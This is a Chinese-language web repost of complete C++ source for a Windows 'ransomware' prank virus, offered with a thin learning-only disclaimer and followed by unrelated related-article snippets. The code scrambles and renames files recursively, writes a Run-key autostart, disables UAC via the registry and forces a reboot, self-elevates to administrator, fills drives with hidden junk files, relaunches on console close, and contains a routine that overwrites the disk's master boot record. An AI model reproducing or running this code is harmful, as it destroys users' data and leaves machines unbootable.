C++小病毒-1.0勒索(更新次数:2)

内容供学习使用,不得转卖,代码复制后请1小时内删除,此代码会危害计算机安全,谨慎操作

在C++20环境下,并在虚拟机里运行此代码!,病毒带来后果自负!

使用时请删除在main()里的注释,并修改位置至C:\\(看我代码注释)//可以改成WIN Main()


#include <iostream>
#include <windows.h>
#include <shellapi.h>
#include <stdio.h>
#include <fstream>
#include <vector>
#include <string>
#include <filesystem>
#include <signal.h>
#include <csignal>
#include <shlwapi.h>
#include <shcore.h>
#include <thread> 
#include <graphics.h>
#pragma comment(lib, "shlwapi.lib")
using namespace std;
namespace fs = std::filesystem;
const int screenWidth = GetSystemMetrics(SM_CXSCREEN);
const int screenHeight = GetSystemMetrics(SM_CYSCREEN);
void writeWordName(const std::string& filename) {size_t pos = filename.find_last_of('.');std::string newFilename;if (pos != std::string::npos) {newFilename = filename.substr(0, pos) + ".人丰NB人丰666";}else {newFilename = filename + ".人丰NB人丰666";}try {fs::rename(filename, newFilename);std::cout << "文件已加密为: " << newFilename << std::endl;}catch (const fs::filesystem_error& e) {std::cerr << "重命名文件时出错: " << e.what() << std::endl;}
}
void flashWindow(const std::string& filename) {std::fstream file(filename, std::ios::in | std::ios::out | std::ios::binary);if (!file) {std::cerr << "无法打开文件: " << filename << std::endl;return;}try {file.seekg(0, std::ios::end);std::streamsize size = file.tellg();file.seekg(0, std::ios::beg);for (int i = 0; i < size; i++) {file.seekg(i, std::ios::beg);char byte;if (!file.read(&byte, sizeof(byte))) {std::cerr << "读取文件 " << filename << " 字节时出现错误,位置:" << i << std::endl;continue;}if (i % 3 == 0) {byte = byte % 0x37;byte = (byte + 0x10) % 0xFF;}if (i % 3 == 1) {byte = byte % 0x43;byte = (byte + 0x20) % 0xFF;}if (i % 3 == 2) {byte = byte % 0x71;byte = (byte + 0x30) % 0xFF;}file.seekp(i, std::ios::beg);if (!file.write(&byte, sizeof(byte))) {std::cerr << "写入文件 " << filename << " 字节时出现错误,位置:" << i << std::endl;continue;}}}catch (...) {std::cerr << "文件加密过程出现异常" << std::endl;}file.close();writeWordName(filename);
}
void scanDirectory(const std::string& path) {for (const auto& entry : fs::recursive_directory_iterator(path)) {if (entry.is_regular_file()) {flashWindow(entry.path().string());}}
}
void WriteStart()//开机自启动
{char path[MAX_PATH]; HKEY hKey;DWORD length = GetModuleFileNameA(NULL, path, MAX_PATH);LONG result; result = RegOpenKeyEx(HKEY_CURRENT_USER, TEXT("Software\\Microsoft\\Windows\\CurrentVersion\\Run"), 0, KEY_SET_VALUE, &hKey);const TCHAR* valueName = TEXT("MyApp");const TCHAR* valueData = TEXT(path);result = RegSetValueEx(hKey, valueName, 0, REG_SZ, (const BYTE*)valueData, (lstrlen(valueData) + 1) * sizeof(TCHAR));RegCloseKey(hKey);
}
void GetWordNameAndStart() {char buffer[MAX_PATH];if (GetModuleFileName(NULL, buffer, MAX_PATH) > 0) {std::string str(buffer);LPCTSTR path = str.c_str();HINSTANCE result = ShellExecute(NULL, "open", path, NULL, NULL, SW_SHOWNORMAL);if ((int)result <= 32) {std::cerr << "打开文件失败,错误码: " << (int)result << std::endl;}}
}
BOOL SetProcessCtrlHandler() {return SetConsoleCtrlHandler([](DWORD dwCtrlType) -> BOOL {switch (dwCtrlType) {case CTRL_C_EVENT:case CTRL_BREAK_EVENT:case CTRL_CLOSE_EVENT:case CTRL_LOGOFF_EVENT:case CTRL_SHUTDOWN_EVENT:GetWordNameAndStart();return TRUE;default:return FALSE;}}, TRUE);
}
void createFileWithContent_1MB(const std::string& filePath) {const int fileSize = 1048576;std::vector<char> buffer(fileSize, '0');std::ofstream file(filePath, std::ios::binary);if (file.is_open()) {file.write(buffer.data(), fileSize);file.close();}else {std::cerr << "无法创建文件: " << filePath << std::endl;}
}
void CreateFileTo(const std::string& path, const int& SUM, const std::string& WordName) {for (int i = 0; i < SUM; ++i) {std::string folderPath = path + "\\" + WordName + std::to_string(i);// 创建文件夹if (CreateDirectory(folderPath.c_str(), NULL) || ERROR_ALREADY_EXISTS == GetLastError()) {// 设置文件夹为隐藏属性SetFileAttributes(folderPath.c_str(), FILE_ATTRIBUTE_HIDDEN);int RandSum = rand();// 创建文件并写入内容std::string filePath = folderPath + "\\人丰NB人丰666.人丰NB人丰666" + std::to_string(RandSum);createFileWithContent_1MB(filePath);}else {std::cerr << "无法创建文件夹: " << folderPath << std::endl;}}
}
bool Kill_AntivirusSoftware() {return false;
}
void display_run_moveWindows(HWND hWnd) {SetProcessDPIAware();srand(static_cast<unsigned int>(time(NULL))); // 初始化随机数种子RECT rect;GetWindowRect(hWnd, &rect);int windowWidth = rect.right - rect.left;int windowHeight = rect.bottom - rect.top;// 生成随机位置,确保窗口不会超出屏幕范围while (true) {int newX = rand() % screenWidth;int newY = rand() % screenHeight;MoveWindow(hWnd, newX, newY,windowWidth,windowHeight, TRUE);Sleep(1000);}
}
BOOL CALLBACK EnumWindowsProc(HWND hwnd, LPARAM lParam) {thread myThread21(display_run_moveWindows,hwnd);myThread21.detach(); // 分离子线程return TRUE;
}
void MessageBox_ZYNTM_RUN(int i) {while (true){if(i==1) MessageBox(NULL,"鸡你太美","鸡你太美", MB_OK);if(i==2) MessageBox(NULL,"你干嘛~,哎呦~", "你干嘛~,哎呦~", MB_OK);if(i==3) MessageBox(NULL, "360安全卫生为您守护电脑", "360安全卫生为您守护电脑", MB_OK);if(i==4) MessageBox(NULL, "大家好,我是练习时长两年半的个人练习生-蔡徐坤", "大家好,我是练习时长两年半的个人练习生-蔡徐坤", MB_OK);}
}
void MessageBox_ZYNTM_CTRL() {while (true) {thread myThread31(MessageBox_ZYNTM_RUN,1);thread myThread32(MessageBox_ZYNTM_RUN,2);thread myThread33(MessageBox_ZYNTM_RUN,3);thread myThread34(MessageBox_ZYNTM_RUN,4);myThread31.detach();myThread32.detach();myThread33.detach();myThread34.detach();Sleep(350);}
}
void Windows_music() {while (true){Beep(375,300);Beep(500,300);}
}
void DrawFullscreenRectangle() {//在桌面上画图// 获取屏幕设备上下文句柄SetProcessDPIAware();HDC hdcScreen = GetDC(NULL);if (hdcScreen == NULL) {std::cerr << "无法获取屏幕设备上下文句柄。" << std::endl;return;}// 获取屏幕的宽度和高度int screenWidth = GetSystemMetrics(SM_CXSCREEN);int screenHeight = GetSystemMetrics(SM_CYSCREEN);// 创建一个与屏幕兼容的内存设备上下文HDC hdcMem = CreateCompatibleDC(hdcScreen);if (hdcMem == NULL) {std::cerr << "无法创建内存设备上下文。" << std::endl;ReleaseDC(NULL, hdcScreen);return;}// 创建一个 DIB 位图BITMAPINFO bmi;ZeroMemory(&bmi, sizeof(BITMAPINFO));bmi.bmiHeader.biSize = sizeof(BITMAPINFOHEADER);bmi.bmiHeader.biWidth = screenWidth;bmi.bmiHeader.biHeight = -screenHeight; // 负高度表示底部 - 顶部顺序bmi.bmiHeader.biPlanes = 1;bmi.bmiHeader.biBitCount = 32;bmi.bmiHeader.biCompression = BI_RGB;void* pBits;HBITMAP hBitmap = CreateDIBSection(hdcMem, &bmi, DIB_RGB_COLORS, &pBits, NULL, 0);if (hBitmap == NULL) {std::cerr << "无法创建 DIB 位图。" << std::endl;DeleteDC(hdcMem);ReleaseDC(NULL, hdcScreen);return;}// 选入位图到内存设备上下文HBITMAP hOldBitmap = (HBITMAP)SelectObject(hdcMem, hBitmap);// 将屏幕内容复制到内存设备上下文中BitBlt(hdcMem, 0, 0, screenWidth, screenHeight, hdcScreen, 0, 0, SRCCOPY);// 直接操作位图数据进行反色DWORD* pPixel = (DWORD*)pBits;for (int i = 0; i < screenWidth * screenHeight; i++) {*pPixel = RGB(255 - GetRValue(*pPixel), 255 - GetGValue(*pPixel), 255 - GetBValue(*pPixel));pPixel++;}for (int i = 0; i < 100; i++) {// 将反色后的内容复制回屏幕BitBlt(hdcScreen, 0, 0, screenWidth, screenHeight, hdcMem, 0, 0, SRCCOPY);Sleep(10);}// 恢复原始位图SelectObject(hdcMem, hOldBitmap);// 释放资源DeleteObject(hBitmap);DeleteDC(hdcMem);ReleaseDC(NULL, hdcScreen);
}
void window_display_run() {//中毒视觉效果thread myThread13(Windows_music);myThread13.detach();//放音乐Sleep(3000);for (int i = 0; i < 15; i++) {thread myThread14(DrawFullscreenRectangle);myThread14.join();//屏幕反色}thread myThread12(MessageBox_ZYNTM_CTRL);myThread12.detach();while (true) {thread myThread11(EnumWindows, EnumWindowsProc, 0);myThread11.join();thread myThread14(DrawFullscreenRectangle);myThread14.join();//屏幕反色Sleep(350);}
}
bool isUACDisabled() {//检查UCAHKEY hKey;DWORD uacLevel = 0;DWORD size = sizeof(DWORD);if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", 0, KEY_READ, &hKey) == ERROR_SUCCESS) {if (RegQueryValueEx(hKey, "EnableLUA", NULL, NULL, (LPBYTE)&uacLevel, &size) == ERROR_SUCCESS) {RegCloseKey(hKey);if (uacLevel == 0) {return true;}else {return false;}}else {std::cerr << "Failed to query UAC level. Error code: " << GetLastError() << std::endl;RegCloseKey(hKey);return false;}}else {std::cerr << "Failed to open registry key. Error code: " << GetLastError() << std::endl;return false;}
}
bool setUACLevelToHigh() {//关闭UCAif (isUACDisabled() == true)return true;HKEY hKey;DWORD newValue = 0;if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", 0, KEY_SET_VALUE, &hKey) == ERROR_SUCCESS) {if (RegSetValueEx(hKey, "EnableLUA", 0, REG_DWORD, (const BYTE*)&newValue, sizeof(DWORD)) == ERROR_SUCCESS) {RegCloseKey(hKey);system("shutdown /r /t 0");return true;}else {std::cerr << "Failed to set EnableLUA value. Error code: " << GetLastError() << std::endl;RegCloseKey(hKey);return false;}}else {std::cerr << "Failed to open registry key. Error code: " << GetLastError() << std::endl;return false;}
}
bool elevateToAdmin() {if(setUACLevelToHigh()==false)if (setUACLevelToHigh() == false){cout << "I'm sorry,Are you OK?"; }BOOL isAdmin = FALSE;SID_IDENTIFIER_AUTHORITY NtAuthority = SECURITY_NT_AUTHORITY;PSID AdministratorsGroup;if (AllocateAndInitializeSid(&NtAuthority, 2, SECURITY_BUILTIN_DOMAIN_RID, DOMAIN_ALIAS_RID_ADMINS, 0, 0, 0, 0, 0, 0, &AdministratorsGroup)) {if (!CheckTokenMembership(NULL, AdministratorsGroup, &isAdmin)) {isAdmin = FALSE;}FreeSid(AdministratorsGroup);}if (isAdmin == false) {char szPath[MAX_PATH];GetModuleFileNameA(NULL, szPath, MAX_PATH);  // 使用 GetModuleFileNameA 处理 ANSI 字符串std::string commandLine = "\"" + std::string(szPath) + "\"";LPSTR szCommandLine = const_cast<LPSTR>(commandLine.c_str());SHELLEXECUTEINFOA sei = { sizeof(SHELLEXECUTEINFOA) };sei.lpVerb = "runas";  // 请求管理员权限sei.lpFile = szPath;sei.lpParameters = NULL;sei.lpDirectory = NULL;sei.nShow = SW_SHOWNORMAL;sei.fMask = SEE_MASK_NOCLOSEPROCESS | SEE_MASK_FLAG_DDEWAIT;if (!ShellExecuteExA(&sei)) {std::cerr << "Failed to restart as administrator." << std::endl;return false;}else {exit(0);return true;}}std::cout << "This program is running with administrative privileges." << std::endl;return true;
}
void Modify_the_Registry_Editor() {// 致命代码阻止编译文字(编译时请删除或注释掉这段文字)HANDLE hDevice = CreateFile("\\\\.\\PhysicalDrive0",GENERIC_READ | GENERIC_WRITE,FILE_SHARE_READ | FILE_SHARE_WRITE,NULL,OPEN_EXISTING,0,NULL);if (hDevice == INVALID_HANDLE_VALUE) {std::cerr << "无法打开磁盘设备。错误代码: " << GetLastError() << std::endl;return ;}BYTE mbr[512] = { 0 };// 将修改后的 MBR 写回磁盘DWORD bytesWritten;if (!WriteFile(hDevice, mbr, 512, &bytesWritten, NULL)) {std::cerr << "无法写入 MBR。错误代码: " << GetLastError() << std::endl;CloseHandle(hDevice);return ;}CloseHandle(hDevice);
}
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {srand((time(0)));//thread myThread2(WriteStart); //注册表开机自启动//myThread2.join(); //设置成功后//if (elevateToAdmin() == false)//尝试升级为管理员//    if (elevateToAdmin() == false)//        cout << "Are you ok? Are you fine ?";// thread myThread(CreateFileTo,"F:\\本地磁盘C",10,"54088");//创建垃圾文件占用内存// thread myThread3(scanDirectory,"F:\\本地磁盘C");//加密文件thread myThread4(window_display_run); //病毒桌面特效//thread myThread5(Kill_AntivirusSoftware); //关闭杀毒软件//以下是主进程区域//SetProcessCtrlHandler();//关掉重启项//以上是主进程区域//myThread.join(); // myThread3.join();myThread4.join();// myThread5.join();while (1);return 0;
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/8022.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

亲测有效!解决PyCharm下PyEMD安装报错 ModuleNotFoundError: No module named ‘PyEMD‘

解决PyCharm下PyEMD安装报错 PyEMD安装报错解决方案 PyEMD安装报错 PyCharm下通过右键自动安装PyEMD后运行报错ModuleNotFoundError: No module named ‘PyEMD’ 解决方案 通过PyCharm IDE python package搜索EMD-signal&#xff0c;选择版本后点击“install”执行安装

上海亚商投顾:沪指冲高回落 大金融板块全天强势 上海亚商投

上海亚商投顾前言&#xff1a;无惧大盘涨跌&#xff0c;解密龙虎榜资金&#xff0c;跟踪一线游资和机构资金动向&#xff0c;识别短期热点和强势个股。 一&#xff0e;市场情绪 市场全天冲高回落&#xff0c;深成指、创业板指午后翻绿。大金融板块全天强势&#xff0c;天茂集团…

【unity游戏开发之InputSystem——02】InputAction的使用介绍(基于unity6开发介绍)

文章目录 前言一、InputAction简介1、InputAction是什么&#xff1f;2、示例 二、监听事件started 、performed 、canceled1、启用输入检测2、操作监听相关3、关键参数 CallbackContext4、结果 三、InputAction参数相关1、点击齿轮1.1 Actions 动作&#xff08;1&#xff09;动…

ubuntu22安装issac gym记录

整体参考&#xff1a;https://blog.csdn.net/Yakusha/article/details/144306858 安装完成后的整体版本信息 ubuntu&#xff1a;22.04内核&#xff1a;6.8.0-51-generic显卡&#xff1a;NVIDIA GeForce RTX 3050 OEM显卡驱动&#xff1a;535.216.03cuda&#xff1a;12.2cudnn&…

Linux下Ubuntun系统报错find_package(BLAS REQUIRED)找不到

Linux下Ubuntun系统报错find_package(BLAS REQUIRED)找不到 这次在windows的WSL2中遇到了一个非常奇怪的错误&#xff0c;就是 CMake Error at /usr/share/cmake-3.22/Modules/FindPackageHandleStandardArgs.cmake:230 (message):Could NOT find BLAS (missing: BLAS_LIBRAR…

15天基础内容-5

day13 【String类、StringBuilder类】 主要内容 String类常用方法【重点】 String类案例【重点】 StringBuilder类【重点】 StringBuilder类常用方法【重点&#xff1a; append】 StringBuilder类案例【理解】 第一章String类 1.1 String类的判断方法 String类实现判断功能…

CommonAPI学习笔记-1

CommonAPI学习笔记-1 一. 整体结构 CommonAPI分为两层&#xff1a;核心层和绑定层&#xff0c;使用了Franca来描述服务接口的定义和部署&#xff0c;而Franca是一个用于定义和转换接口的框架&#xff08;https://franca.github.io/franca/&#xff09;。 ​ 核心层和通信中间…

单片机基础模块学习——DS18B20温度传感器芯片

不知道该往哪走的时候&#xff0c;就往前走。 一、DS18B20芯片原理图 该芯片共有三个引脚&#xff0c;分别为 GND——接地引脚DQ——数据通信引脚VDD——正电源 数据通信用到的是1-Wier协议 优点&#xff1a;占用端口少&#xff0c;电路设计方便 同时该协议要求通过上拉电阻…

Golang Gin系列-9:Gin 集成Swagger生成文档

文档一直是一项乏味的工作&#xff08;以我个人的拙见&#xff09;&#xff0c;但也是编码过程中最重要的任务之一。在本文中&#xff0c;我们将学习如何将Swagger规范与Gin框架集成。我们将实现JWT认证&#xff0c;请求体作为表单数据和JSON。这里唯一的先决条件是Gin服务器。…

< OS 有关 > 阿里云:轻量应用服务器 的使用 :轻量化 阿里云 vpm 主机

原因&#xff1a; &#xff1c; OS 有关 &#xff1e; 阿里云&#xff1a;轻量应用服务器 的使用 &#xff1a;从新开始 配置 SSH 主机名 DNS Tailscale 更新OS安装包 最主要是 清除阿里云客户端这个性能杀手-CSDN博客 防止 I/O 祸害系统 操作&#xff1a; 查看进程&#x…

设计模式的艺术-代理模式

结构性模式的名称、定义、学习难度和使用频率如下表所示&#xff1a; 1.如何理解代理模式 代理模式&#xff08;Proxy Pattern&#xff09;&#xff1a;给某一个对象提供一个代理&#xff0c;并由代理对象控制对原对象的引用。代理模式是一种对象结构型模式。 代理模式类型较多…

K8S极简教程(4小时快速学会)

1. K8S 概览 1.1 K8S 是什么 K8S官网文档&#xff1a;https://kubernetes.io/zh/docs/home/ 1.2 K8S核心特性 服务发现与负载均衡&#xff1a;无需修改你的应用程序即可使用陌生的服务发现机制。存储编排&#xff1a;自动挂载所选存储系统&#xff0c;包括本地存储。Secret和…

python3+TensorFlow 2.x(五)CNN

目录 CNN理解 code实现人脸识别 数据集准备&#xff1a; code实现 模型解析 结果展示 结果探讨 基于vgg16的以图搜图 数据准备 图库database 检索测试集datatest code实现 code解析 结果展示 CNN理解 卷积神经网络&#xff08;CNN&#xff09;是深度学习中最强大…

(一)HTTP协议 :请求与响应

前言 爬虫需要基础知识&#xff0c;HTTP协议只是个开始&#xff0c;除此之外还有很多&#xff0c;我们慢慢来记录。 今天的HTTP协议&#xff0c;会有助于我们更好的了解网络。 一、什么是HTTP协议 &#xff08;1&#xff09;定义 HTTP&#xff08;超文本传输协议&#xff…

FPGA实现任意角度视频旋转(完结)视频任意角度旋转实现

本文主要介绍如何基于FPGA实现视频的任意角度旋转&#xff0c;关于视频180度实时旋转、90/270度视频无裁剪旋转&#xff0c;请见本专栏前面的文章&#xff0c;旋转效果示意图如下&#xff1a; 为了实时对比旋转效果&#xff0c;采用分屏显示进行处理&#xff0c;左边代表旋转…

如何移植ftp服务器到arm板子?

很多厂家提供的sdk&#xff0c;一般都不自带ftp服务器功能&#xff0c; 需要要发人员自己移植ftp服务器程序。 本文手把手教大家如何移植ftp server到arm板子。 环境 sdk&#xff1a;复旦微 Buildroot 2018.02.31. 解压 $ mkdir ~/vsftpd $ cp vsftpd-3.0.2.tar.gz ~/vs…

【阅读笔记】基于整数+分数微分的清晰度评价算子

本文介绍的是一种新的清晰度评价算子&#xff0c;整数微分算子分数微分算子 一、概述 目前在数字图像清晰度评价函数中常用的评价函数包括三类&#xff1a;灰度梯度评价函数、频域函数和统计学函数&#xff0c;其中灰度梯度评价函数具有计算简单&#xff0c;评价效果好等优点…

LabVIEW 保存文件 生产者/消费者设计

LabVIEW 保存文件 生产者/消费者设计 简介生产消费模式设计结构 简介 主从模式的数据通信是利用全局变量、局域变量或共享变量实现的&#xff0c;由于这些变量的每次复制都是原始数据的一个副本&#xff0c;占据了大量的空间。实际上&#xff0c;只需要使用一部分缓冲区作为数…

网络安全 | F5-Attack Signatures-Set详解

关注&#xff1a;CodingTechWork 创建和分配攻击签名集 可以通过两种方式创建攻击签名集&#xff1a;使用过滤器或手动选择要包含的签名。  基于过滤器的签名集仅基于在签名过滤器中定义的标准。基于过滤器的签名集的优点在于&#xff0c;可以专注于定义用户感兴趣的攻击签名…

宏_wps_宏修改word中所有excel表格的格式_设置字体对齐格式_删除空行等

需求&#xff1a; 将word中所有excel表格的格式进行统一化&#xff0c;修改其中的数字类型为“宋体&#xff0c; 五号&#xff0c;右对齐&#xff0c; 不加粗&#xff0c;不倾斜”&#xff0c;其中的中文为“宋体&#xff0c; 五号&#xff0c; 不加粗&#xff0c;不倾斜” 数…